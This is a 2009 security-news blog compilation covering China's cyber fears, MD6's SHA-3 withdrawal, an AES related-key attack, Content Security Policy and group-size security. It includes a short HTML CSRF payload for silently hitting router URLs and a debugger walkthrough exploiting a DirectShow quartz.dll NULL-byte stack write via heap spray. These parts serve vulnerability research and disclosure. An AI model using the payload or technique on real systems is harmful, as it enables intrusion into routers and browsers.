DAILYINFOSEC.ORG

H/T: Mark

Received an interesting e-mail from one of our readers named Mark who suggested I take a look at an article dealing with Chinese fears of US hackers and the possible threat to its cyber sovereignty:

In that context, the article I came across in the English-language China Daily was an eye-opener. The title was “China at the mercy of global hackers.”

Early in the article, a Chinese academic expert on cyber warfare said: “In a worst-case scenario, a security breach could result in the breakdown of the energy supply and collapse of the financial system, not to mention a collapse of the national defense capability.… The capability to defend China’s information and cybersecurity is extremely weak, and many of its online applications remain vulnerable to assault.”

In other SHA-3 news, Ron Rivest seems to have withdrawn MD6 from the SHA-3 competition. From an e-mail to a NIST mailing list:

We suggest that MD6 is not yet ready for the next SHA-3 round, and we also provide some suggestions for NIST as the contest moves forward.

Basically, the issue is that in order for MD6 to be fast enough to be competitive, the designers have to reduce the number of rounds down to 30-40, and at those rounds, the algorithm loses its proofs of resistance to differential attacks.

Thus, while MD6 appears to be a robust and secure cryptographic hash algorithm, and has much merit for multi-core processors, our inability to provide a proof of security for a reduced-round (and possibly tweaked) version of MD6 against differential attacks suggests that MD6 is not ready for consideration for the next SHA-3 round.

EDITED TO ADD (7/1): This is a very classy withdrawal, as we expect from Ron Rivest -- especially given the fact that there are no attacks on it, while other algorithms have been seriously broken and their submitters keep trying to pretend that no one has noticed.

There's a new cryptanalytic attack on AES that is better than brute force:

Abstract. In this paper we present two related-key attacks on the full AES. For AES-256 we show the first key recovery attack that works for all the keys and has complexity 2119, while the recent attack by Biryukov-Khovratovich-Nikolic works for a weak key class and has higher complexity. The second attack is the first cryptanalysis of the full AES-192. Both our attacks are boomerang attacks, which are based on the recent idea of finding local collisions in block ciphers and enhanced with the boomerang switching techniques to gain free rounds in the middle.

In an e-mail, the authors wrote:

We also expect that a careful analysis may reduce the complexities. As a preliminary result, we think that the complexity of the attack on AES-256 can be lowered from 2119 to about 2110.5 data and time.

We believe that these results may shed a new light on the design of the key-schedules of block ciphers, but they pose no immediate threat for the real world applications that use AES.

Agreed. While this attack is better than brute force -- and some cryptographers will describe the algorithm as "broken" because of it -- it is still far, far beyond our capabilities of computation. The attack is, and probably forever will be, theoretical. But remember: attacks always get better, they never get worse. Others will continue to improve on these numbers. While there's no reason to panic, no reason to stop using AES, no reason to insist that NIST choose another encryption standard, this will certainly be a problem for some of the AES-based SHA-3 candidate hash functions.

Some of you who have been following my blog over the last 3+ years may recall me talking about Content Restrictions - a way for websites to tell the browser to raise their security on pages where the site knows the content is user submitted and therefore potentially dangerous. In reality I’ve been talking about this for close to 5 years privately with the Mozilla team - back when their offices were about 2000 square feet and the entire office smelled like feet. Ahh, those were the days. Well, we are creeping very close to seeing Content Restrictions (now named Content Security Policy) in reality, finally! Thanks in huge part to Gerv and Brandon over at Mozilla.

I hear rumors that it should be released in Firefox-next (also known as 3.6 - scheduled for early to mid 2010). So give it another year or so and we should have a workable defense against XSS on pages that must allow user submitted HTML and JavaScript - think eBay, MySpace, and so on. The only trick is making sure the companies who have these problems have projects in their pipelines to use this header once it becomes live. So if you happen to know someone who works for a company who has this problem or happen to work there yourself, please make sure others are aware of this well ahead of time. I for one am very excited to see this approaching reality after all these years, and I encourage you to watch their website for updates if you are at all interested in building user submitted widgets and the like.

On a less thrilling note it also has some clickjacking defenses in it, but just like Microsoft’s X-FRAME-OPTIONS header, I think it’s really not particularly interesting, it’s an opt-in model and clickjacking is so prevalent as an avenue for attack. Opt in security models work on sites that know they’ve got a problem (like user submitted HTML and JS) not on sites that don’t know they’ve got a problem (like wireless access points and web enabled firewalls). Alas - I digress, and I don’t mean to diminish the overall positives of this solve. Indeed, I’m very excited by the future of Content Security Policy as it may make surfing “fun” sites safe again - even with JavaScript and Flash enabled! Wouldn’t that be a crazy thought?

In unrelated news, I did a podcast with Dennis Fisher over at Threatpost on some of the RFC1918 issues I discussed a few weeks back and Slowloris. If you’re interested, please feel free to have a listen!

If the size of your company grows past 150 people, it's time to get name badges. It's not that larger groups are somehow less secure, it's just that 150 is the cognitive limit to the number of people a human brain can maintain a coherent social relationship with.

Primatologist Robin Dunbar derived this number by comparing neocortex -- the "thinking" part of the mammalian brain -- volume with the size of primate social groups. By analyzing data from 38 primate genera and extrapolating to the human neocortex size, he predicted a human "mean group size" of roughly 150.

This number appears regularly in human society; it's the estimated size of a Neolithic farming village, the size at which Hittite settlements split, and the basic unit in professional armies from Roman times to the present day. Larger group sizes aren't as stable because their members don't know each other well enough. Instead of thinking of the members as people, we think of them as groups of people. For such groups to function well, they need externally imposed structure, such as name badges.

Of course, badges aren't the only way to determine in-group/out-group status. Other markers include insignia, uniforms, and secret handshakes. They have different security properties and some make more sense than others at different levels of technology, but once a group reaches 150 people, it has to do something.

More generally, there are several layers of natural human group size that increase with a ratio of approximately three: 5, 15, 50, 150, 500, and 1500 -- although, really, the numbers aren't as precise as all that, and groups that are less focused on survival tend to be smaller. The layers relate to both the intensity and intimacy of relationship and the frequency of contact.

The smallest, three to five, is a "clique": the number of people from whom you would seek help in times of severe emotional distress. The twelve to 20 group is the "sympathy group": people with which you have special ties. After that, 30 to 50 is the typical size of hunter-gatherer overnight camps, generally drawn from the same pool of 150 people. No matter what size company you work for, there are only about 150 people you consider to be "co-workers." (In small companies, Alice and Bob handle accounting. In larger companies, it's the accounting department -- and maybe you know someone there personally.) The 500-person group is the "megaband," and the 1,500-person group is the "tribe." Fifteen hundred is roughly the number of faces we can put names to, and the typical size of a hunter-gatherer society.

These numbers are reflected in military organization throughout history: squads of 10 to 15 organized into platoons of three to four squads, organized into companies of three to four platoons, organized into battalions of three to four companies, organized into regiments of three to four batallions, organized into divisions of two to three regiments, and organized into corps of two to three divisions.

Coherence can become a real problem once organizations get above about 150 in size. So as group sizes grow across these boundaries, they have more externally imposed infrastructure -- and more formalized security systems. In intimate groups, pretty much all security is ad hoc. Companies smaller than 150 don't bother with name badges; companies greater than 500 hire a guard to sit in the lobby and check badges. The military have had centuries of experience with this under rather trying circumstances, but even there the real commitment and bonding invariably occurs at the company level. Above that you need to have rank imposed by discipline.

The whole brain-size comparison might be bunk, and a lot of evolutionary psychologists disagree with it. But certainly security systems become more formalized as groups grow larger and their members less known to each other. When do more formal dispute resolution systems arise: town elders, magistrates, judges? At what size boundary are formal authentication schemes required? Small companies can get by without the internal forms, memos, and procedures that large companies require; when does what tend to appear? How does punishment formalize as group size increase? And how do all these things affect group coherence? People act differently on social networking sites like Facebook when their list of "friends" grows larger and less intimate. Local merchants sometimes let known regulars run up tabs. I lend books to friends with much less formality than a public library. What examples have you seen?

An edited version of this essay, without links, appeared in the July/August 2009 issue of IEEE Security & Privacy.

First, thank you to everyone who sent an e-mail asking if everything was okay.  Yep, we are fine with the exception of a few missing images that will be replaced as time permits.  Second, Chinese hackers did not take us down, it was a combination of the upgrade to WP 2.8 and Godaddy.  Long story but the hero for returning the site to normal is of course, Jumper.

Also, sorry for the long delay in posting.  Just returned from a two-week trip to China, visited the cities of Beijing, Xi’an, Nanjing and Shanghai.  Returned to a ton of work,  a zillion e-mails, broke the blog and had the flu.  Pretty full week.

We really do appreciate your patience and concern, things should be running close to normal again.

Hey all,

I know this blog post is a bit weird, but I reckon I'd share this: For some reason that is quite unknown to me, my cellphones have a habit of developing strange behaviors. I used to use a Nokia N73, which developed the following habit:

When in foreign time zones (Japan, Norway, USA) the phone would send more-or-less random old text messages to more-or-less random people from my address book. There would be a merry mix & match between the two, leading to more than one amusing misunderstanding that needed clearing up.

Then, at some point last fall, I switched to the silly shiny Apple telephony device (perhaps people do better QA on their backdoors on that platform). For a few months, the problems went away.
This changed last week -- now, when I send text messages to certain numbers, the phone seems to send a more-or-less random old text messages that has already been sent to the same number along with the message. This is a bit nicer (as it will not mix & match), but still annoying.

So .. uhm ... I am trying to come up with plausible explanations for this behavior. Can anyone offer one ? My total-guess-in-the-dark ideas would be:

1. Current behavior is caused by international text message routing weirdness -- e.g. text messages I sent a few days ago in the US get duplicated for some reason and re-sent
2. Both current and N73 behavior is triggered by shoddy QA on lawful intercept systems
3. Both current and N73 behavior is triggered by shoddy QA on the side of the parties that backdoor my phones

Now, I don't know if anyone else has ever suffered from this, or if there is a perfectly valid and proper explanation, or if there is an easy way to do diagnostics, but:

1. If you backdoor my phone, fix your software. Kthx.
   
2. If you write LI software, fix your software. Kthx.
   
3. If there are multiple people backdooring my phone, please test for interoperability between your tools.
   

So, any other theories on what might be going on ?

One of the single most annoying things about CSRF and router hacking etc… is that you get the annoying popups on Basic and Digest authentication pages, asking you to log in. More and more devices are moving away from these popup style alerts and moving more towards form based authentication, which is better from a hacking perspective. But still, I would say the vast majority of firewall/switch/router devices out there use Basic or Digest based authentication. The problem with that from an attacker’s perspective is that it creates a noisy popup if it fails (if the user isn’t authenticated) that the user is bound to notice and question. Well, now we have an answer - at least in Internet Explorer:

<DIV STYLE="background-image: url(http://router/path.to.hack)">blah</DIV>

I know there are others tags that work, but probably not as well as this method from what I’ve seen so far. I haven’t found a reliable way in other browsers to allow this to happen, but I’ve only barely scratched the surface of the vast number of CSRFable tags out there. But anyway, yes, this doesn’t cause the Basic or Digest auth dialog to fire so it will be more stealthy upon performing a CSRF that fails. Of course for POST based CSRF you’re still out of luck…

I think this is a first.

Information security, and protection of your e-money. Electronic payments and calculations, on means of a network the Internet or by means of bank credit cards, continue to win the world market. Electronic payments, it quickly, conveniently, but is not safely. Now there is a real war, between users and hackers. Your credit card can be forgery. The virus can get into your computer. Most not pleasant, what none, cannot give you guarantees, safety.

But, this disgrace can put an end.

I have developed the program which, does impossible the fact of abduction of a passwords, countersign, and personal data of the users. In the program the technology of an artificial intellect is used. As you cannot, guess about what the person thinks. As and not possible to guess, algorithm of the program. This system to crack it is impossible.

I assure that this system, will be most popular in the near future. I wish to create the company, with branches in the different countries of the world, and I invite all interested persons.

Together we will construct very profitable business.

Posted by Aaron Portnoy
On May 28th, 2009 Microsoft released MS Security Advisory 971778 titled Vulnerability in Microsoft DirectShow Could Allow Remote Code Execution. This vulnerability should be considered high-risk as it allows for remote code execution through a browser using the Windows Media Player ActiveX control. In this blog post I provide a brief walk through of details of this issue and touch upon how it can be exploited in a reliable fashion.

This vulnerability manifests itself within the quartz.dll module located within the \Windows\System32 directory. This DLL is part of Microsoft's DirectShow multimedia framework and is responsible for parsing various media formats and handing data off to appropriate installable compressors and decompressors. Frequently, vulnerabilities in media formats exist within these installable compressors (see TPTI-09-01 and TPTI-09-02 for recent examples), however, in this case the problematic code is located within quartz itself. It should be noted that Quicktime does NOT need to be installed for this issue to be exposed.

Prior to Vista, DirectShow had support for parsing Apple's Quicktime format. This support was built upon DirectShow's COM-based architecture. DirectShow defines the IFilter interface that is used to implement filter graphs to render and perform miscellaneous operations on streams of media data.

When attempting to open a media file, quartz loops through different media types (defined as AM_MEDIA_TYPE structures, essentially GUIDs) and determines if the next node on the filter graph can handle the input stream's media type, negotiated via objects called Pins (see Mark Dowd and John McDonald's Media Frenzy presentation).

In practice, the Pin negotiation can be seen in a debugging session as a series of calls similar to this:
02d6f770 74837a7f quartz!CBaseMSRFilter::NotifyInputConnected+0x5002d6f784 748340b2 quartz!CBaseMSRInPin::CompleteConnect+0x3a02d6f79c 7483df8d quartz!CBasePin::ReceiveConnection+0xc202d6f7bc 7483e7d7 quartz!CBasePin::AttemptConnection+0x54loop here until a successful connection02d6f7e0 7483e36f quartz!CBasePin::TryMediaTypes+0x6402d6f80c 7483e2f9 quartz!CBasePin::AgreeMediaType+0x7302d6f824 7483e048 quartz!CBasePin::Connect+0x55In the case of this QuickTime DirectShow issue, when provided with a malicious file quartz determines the media type can be handled by the CQT class. We know that video data is handled in streams. Taking a look at the symbols contained within quartz that contains references to CQT, we see another interesting class called CQTStream. Below is a listing of the functions with symbols for this class:
CQTStream::BuildMediaType(long,CMediaType *)CQTStream::CQTStream(ushort *,long *,CQT *,ushort const *,int)CQTStream::ConvertInternalToRT(__int64)CQTStream::ConvertRTToInternal(__int64)CQTStream::DecideBufferSize(IMemAllocator *,_AllocatorProperties *)CQTStream::GetAvailable(__int64 *,__int64 *)CQTStream::GetDuration(__int64 *)CQTStream::GetEndOfChunk(long,long,long)CQTStream::GetMaxSampleSize(void)CQTStream::GetMediaType(int,CMediaType *)CQTStream::GetStreamLength(void)CQTStream::GetStreamStart(void)CQTStream::IsFormatSupported(_GUID const * const)CQTStream::MapByteOffsetToSample(long,long *)CQTStream::MapSampleToChunk(long,long *,long *,SampleToChunk * *)CQTStream::MapSampleToTime(long)CQTStream::MapTimeToSample(long,long *)CQTStream::OnActive(void)CQTStream::RecordStartAndStop(__int64 *,__int64 *,double *,_GUID const * const)CQTStream::RefTimeToSample(CRefTime)CQTStream::SampleToRefTime(long)CQTStream::UseDownstreamAllocator(void)CQTStream::`vector deleting destructor'(uint)CQTStream::~CQTStream(void)We can see that the only functions here that take a MediaType as an argument are the BuildMediaType and GetMediaType functions. It's a safe bet to assume that they will be handling file data at a relatively lower level than some of the utility functions. Quickly disassembling GetMediaType shows that it is only 6 basic blocks and does nothing of interest to us.

Disassembling BuildMediaType shows more promise. Firstly, an interesting item to note, the presence of a stack cookie:
.text:748FB8B0 private: long __stdcall CQTStream::BuildMediaType(long, class CMediaType *) proc near.text:748FB8B0.text:748FB8B0.text:748FB8B0.text:748FB8B0   mov     edi, edi.text:748FB8B2   push    ebp.text:748FB8B3   mov     ebp, esp.text:748FB8B5   sub     esp, 528h.text:748FB8BB   mov     eax, ___security_cookie.text:748FB8C0   mov     [ebp+stackCookie], eaxIf a standard stack overflow were present in this function it might be a little bit more difficult to exploit. However, as we'll see this particular DirectShow issue is a more unique stack corruption vulnerability that will not be affected by the stack cookie mitigation.

A couple basic blocks into this function shows the first sign that it's parsing file data:
.text:748FB8EC loc_748FB8EC:.text:748FB8EC   mov     eax, [ebx+1B8h].text:748FB8F2   cmp     eax, 'ediv'.text:748FB8F7   jz      loc_748FBA9D
.text:748FBA9D loc_748FBA9D:.text:748FBA9D   push    22.text:748FBA9F   pop     ecx.text:748FBAA0   lea     edi, [ebp+var_6C].text:748FBAA3   rep movsdThe 'vide' comparison here is a test for Apple's Quicktime image compression type. Following the successful branch we arrive at basic block that begins with a 22 byte seek, which, according to Apple's file format documentation, jumps over some extraneous structures and arrives at the very beginning of the ImageDescription ('stsd') atom.

This is where the vulnerability begins to manifest. Specifically, the next couple instructions are responsible for parsing the 'name' element of an ImageDescription structure. This field is a 32-character Pascal string, implemented as a 31 character string prefixed with a 1 byte length value. Herein lies the problem... if this length byte is larger than 31 characters an attacker can fool the code within quartz into writing a NULL byte beyond this string. The code responsible for this is shown below:
.text:748FBAA5   movsx   eax, [ebp+pascalStrLen] ; the string length prefix byte.text:748FBAA9   mov     [ebp+eax+var_39], 0 ; attempted null terminateSo, this vulnerability allows a malicious media file to write a single NULL byte within 255 bytes in one direction of the stack variable var_39. Now comes the fun part, exploitation. Below is a WinDBG transcript demonstrating how this can be exploited:
0:017> bp quartz!CQTStream::BuildMediaType+0x1f5Bp expression 'quartz!CQTStream::BuildMediaType+0x1f5' could not be resolved, adding deferred bp0:017> gCreate thread 17:338ModLoad: 76360000 76370000   C:\WINDOWS\system32\winsta.dllModLoad: 74810000 7497d000   C:\WINDOWS\System32\quartz.dllModLoad: 75f40000 75f51000   C:\WINDOWS\System32\devenum.dllBreakpoint 0 hiteax=65646976 ebx=01192bf0 ecx=00000000 edx=00000000 esi=01192b8e edi=01b9f08ceip=748fbaa5 esp=01b9eb6c ebp=01b9f0a0 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246quartz!CQTStream::BuildMediaType+0x1f5:748fbaa5 0fbe45c6        movsx   eax,byte ptr [ebp-3Ah]     ss:0023:01b9f066=40The above line is showing the single length byte that comes directly from the file. Now, here is the NULL byte write which is attempting to terminate the Pascal string. The offset is stored in @eax and thus can cause the following memory write to seek past the string. At this point we can check the call stack to determine a good location to write the 0x00 byte. This is a contrived example as I have already chosen a location that is 0x40 bytes away from ebp-0x39, but for completeness the call stack follows.
0:017> kChildEBP RetAddr01b9f0a0 748fc639 quartz!CQTStream::BuildMediaType+0x1f501b9f154 748387f0 quartz!CQT::CreateOutputPins+0x70501b9f770 74837a7f quartz!CBaseMSRFilter::NotifyInputConnected+0x5001b9f784 748340b2 quartz!CBaseMSRInPin::CompleteConnect+0x3a01b9f79c 7483df8d quartz!CBasePin::ReceiveConnection+0xc201b9f7bc 7483e7d7 quartz!CBasePin::AttemptConnection+0x5401b9f7e0 7483e36f quartz!CBasePin::TryMediaTypes+0x6401b9f80c 7483e2f9 quartz!CBasePin::AgreeMediaType+0x7301b9f824 7483e048 quartz!CBasePin::Connect+0x55...So, the quickest location to attempt an overwrite is the return address within the stack frame at 0x01b9f0a0. The return address is currently 0x748fc639. By changing a single byte in this, we can cause the process to return to address space that can be reached via a javascript heap fill (in the context of a browser). This makes for a simple exploit technique that can be made fairly reliable (except of course if we're dealing with a DEP-enabled process in which case a more advanced exploitation technique is required). So, let's see what happens when we overwrite a single byte of that return address.
0:017> teax=00000040 ebx=01192bf0 ecx=00000000 edx=00000000 esi=01192b8e edi=01b9f08ceip=748fbaa9 esp=01b9eb6c ebp=01b9f0a0 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246quartz!CQTStream::BuildMediaType+0x1f9:748fbaa9 c64405c700      mov     byte ptr [ebp+eax-39h],0   ss:0023:01b9f0a7=74Here is the before:
0:017> dd 01b9f0a0 L201b9f0a0  01b9f154 748fc639After the NULL write:
0:017> dd 01b9f0a0 L201b9f0a0  01b9f154 008fc639So, now if we let the process go at this point it will return to 0x008fc639 which should not be mapped memory.
0:017> u 008fc639<Unloaded_i.dll>+0x8fc638:008fc639 ??              ???                ^ Memory access error in 'u 008fc639'
0:017> g(674.f0): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=00000000 ebx=01173e38 ecx=0000930b edx=00090608 esi=01192bf0 edi=01192dd0eip=008fc639 esp=01b9f0b4 ebp=01b9f154 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246<Unloaded_i.dll>+0x8fc638:008fc639 ??              ???0:018> !address @eip    008c0000 : 008c6000 - 000fa000                    Type     00020000 MEM_PRIVATE                    State    00002000 MEM_RESERVE                    Usage    RegionUsageHeap                    Handle   008c0000At this point it's game over, a heap spray can easily reach this address. However, exploit mitigation techniques such as DEP would prevent this method as the pages of memory would not have the execute bit set and thus this would throw an access violation even if code was present at that address. A more advanced exploit could use Alexander Sotirov and Mark Dowd's .NET trick to overwrite a different portion of the return address and return to a loaded module controlled by the attacker, but that is out of the scope of this post.

On a related note I just returned from Sao Paulo, Brazil where I spoke at the You Sh0t the Sheriff conference on the discovery and exploitation of vulnerabilities in 3rd party codecs as well as delving into the inner workings of DirectShow. The slides should be uploaded to the DVLabs Appearances page next week.

The YSTS event was very informative and I will be writing a blog post soon covering the presentations I had the pleasure of attending.


--
Aaron